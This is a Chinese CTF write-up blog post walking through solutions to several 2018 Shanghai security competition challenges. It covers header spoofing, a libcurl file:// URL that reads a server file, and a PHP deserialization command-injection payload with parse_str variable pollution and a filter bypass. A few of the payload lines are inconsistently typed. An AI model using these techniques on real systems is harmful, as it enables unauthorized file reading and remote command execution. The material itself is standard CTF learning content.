2018第四届上海网络安全大赛的几道题

非常的痛心,我是真的菜,比赛结束以后观看了大佬的wp,把其中几道web题和杂项题复现一下

Misc - 签到

MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q

Base32 解码

Flag:flag{35222d30-439e-4afb-91f4-abebc73fe05c}

这道是我唯一解出来的题,真的是菜


web1-what are you doing

打开题目提示访问 robots.txt

<!-- you need to visit to robots.txt -->

两个文件,一个 source.php ,一个 flag.php

打开 source.php,提示POST admin

<!-- post param 'admin' -->

POSTadmin=1

only 127.0.0.1 can get the flag!

没有找到 SSRF 的地方,应该就是改 Headers 头了

X-Forwarded-For/X-Client-IP/X-Real-IP三个都试了一下,发现认的是X-Client-IP

带 HeaderX-Client-IP=127.0.0.1,提示

you need post url:http://www.ichunqiu.com"

做到这里我就不会做了,当时直接post  http://www.ichunqiu.com,并没有什么东西,

比赛结束以后,看到这篇博客

https://blog.csdn.net/qq_33020901/article/details/78871240

才知道怎么做

这里应该就是php中libcurl中存在的问题,利用file协议可以任意文件读取,

所以最后构造url=file://www.ichunqiu.com/../var/www/html/flag.php提交就可以获得flag



Web2 - can you  hack  me 

做不出来的题都让我痛心,猜是源码泄露,自己手动尝试了好多,也没找到源码,下次一定要准备一个靠谱的源码泄露的目录扫描工具.......................

源码泄露是一个vim备份(以前从来不知道),就是index.php.swp



源码如上,看到come类和类内system函数,猜测应该会有反序列化漏洞导致命令执行,

主程序先检查四个变量是否为特定的变量。

$first可以直接从$_GET中定义为doller通过第一个检查

然后可以看到parse_str函数,没有传第二个参数,因此会污染变量域,所以我们剩下的三个变量都可以通过他来写入

/?first=doller&a=var=give%26bbb=me%26ccc=flag

接下来是反序列化,在__wakeup的时候会将参数过一遍waf,然后flag可以通过双写来绕过字符串替换,空格用${IPS}然过

生成代码如下:

$foo=newcome("echo",array("`cat\${IFS}/flaflagg`"));

var_dump(serialize($foo));

序列化

O:4:"come":2:{s:12:"comemethod";s:4:"echo";s:10:"comeargs";a:1:{i:0;s:20:"`cat${IFS}/flaflagg`";}}

come=O:4:"come":2:{s:12:" come method";s:4:"echo";s:10:" come args";a:1:{i:0;s:20:"`cat${IFS}/fflaglag`";}}

得到flag



Misc - easy_py

这是一个我做了很久,思路清晰,但因为最关键的步骤不会操作导致解不出来的题,也算是这次比赛收获最大的知识点

刚开始运行了一下,发现应该是python2下的,准备反编译,用uncompyle反编译不成功,百度了一下(大佬的wp里写用uncompyle2 反编译easy_py.pyc会报错tuple index out of range,我当时没注意,又重新反编译了一下,还真TM有,我真是个垃圾,,,以后一定要仔细看报错,)

https://blog.csdn.net/ncafei/article/details/60466080

这篇博客讲到一点反编译的方法,尝试一下也没有成功,最后搜索到可能是因为pyc里加了一些多余的数据,导致不能反编译

所以最关键的是对pyc的cpython字节码分析,找出那段,比赛时找到一篇博客

https://ctf-wiki.github.io/ctf-wiki/misc/other/pyc/

已经下载了pycdc工具,奈何我不会用,最后停在这里

(大佬是这么干的,他根据上面的报错推断应该是 const 元组越界了,找到pythonopcode对照,将easy_py.pyc文件里的16进制2333改为0000),然后我看到另一个大佬利用pycdc反汇编分析以后的结果,




wp图片先放在这里,,反汇编分析对照代码

https://docs.python.org/2.7/library/dis.html#python-bytecode-instructions   参考这里

至于怎么分析,等我晚上学一下pycdc,明天重新复现一下这道题,再把我的操作写一下

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容